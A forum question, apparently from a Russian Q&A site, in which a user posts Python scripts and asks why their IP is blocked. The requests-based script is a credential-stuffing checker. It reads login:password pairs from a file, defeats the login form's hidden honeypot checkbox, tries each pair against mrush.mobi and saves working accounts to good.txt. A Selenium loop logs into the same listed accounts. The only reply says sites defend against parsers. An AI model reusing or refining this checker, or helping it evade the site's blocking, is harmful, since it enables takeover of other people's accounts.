N
N
NO1nam2020-03-20 15:42:23
Python
NO1nam, 2020-03-20 15:42:23

Why blocks ip through request?

When I try to log in via Request Post, my IP is blocked.
And if I try to log in to the same account only through Selenium, everything goes fine
Code on Request requests

import requests
from bs4 import BeautifulSoup as bs4
import time
import random
import threading

accs = list(set(open("data.txt", encoding="utf-8").read().split('\n')))
def check():
    while accs:
        acc = random.choice(accs)
        accs.remove(acc)
        login = acc.split(":")[0]
        password = acc.split(":")[1]
        while True:
             try:
                ses = requests.Session()
                ses.headers={
                    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                    "Accept-Encoding": "gzip, deflate",
                    "Accept-Languag": "ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7",
                    "Upgrade-Insecure-Requests": "1",
                    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36"
                    }
                page = ses.get("http://mrush.mobi/welcome").text
                soup = bs4(page, 'html.parser')
                data = {
                    "name": login,
                    "password": password
                    }
                styles = soup.find_all('style')
                for style in styles:
                    if not "none" in str(style):
                        if not "hidden" in str(style):
                            try:
                                str(style).split('margin-left: ')[1].split('px')[0]
                            except:
                                find = str(style).split('.')[1].split('{')[0]
                div = soup.find('div', {"class": find})
                id = str(div).split('" type="checkbox" value=""/>я не')[0].split('"')[-1]
                data[id] = ""
                login_req = ses.post("http://mrush.mobi/login", data=data)
                if not login_req.url.startswith("http://mrush.mobi/welcome?error="):
                    open("good.txt", "a", encoding="utf-8").write("{}:{}\n".format(login, password))
                    print("{}:{} - Good".format(login, password))
                    break
                else:
                    print("{}:{} - Bad".format(login, password))
                    break
             except Exception as e:
                print(e)
            
for i in range(1):
    thread = threading.Thread(target=check)
    thread.start()

Selenium Code
from selenium import webdriver
from selenium.webdriver.common.by import By
import time

def todo(driver, log, passw):
    
    url = 'http://mrush.mobi/'

    driver.get(url)
    #Авторизация
    print(log)
    driver.find_element_by_css_selector("input[name='name']").send_keys(log)
    driver.find_element_by_css_selector("input[name='password']").send_keys(passw)
    checkboxes = driver.find_elements(By.XPATH, '//input[@type="checkbox"]')
    for box in checkboxes:
        try:
            box.click()
        except Exception:
            pass
    driver.find_element_by_css_selector("input[type='submit']").click()
    #Выход из аккаунта
    logout = driver.get("http://mrush.mobi/logout");

driver = webdriver.Chrome('C:/Users/Admin/Desktop/mrush/chromedriver')
while (True):
    with open('data.txt', 'r', encoding="utf-8") as f:
        file = f.read().split('\n')
    for line in file:
        ln = line.split(':')
        todo(driver, ln[0], ln[1])

Answer the question

In order to leave comments, you need to log in

1 answer(s)
S
Sergey Gornostaev, 2020-03-20
@NO1nam

Because many sites use protection from parsers.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question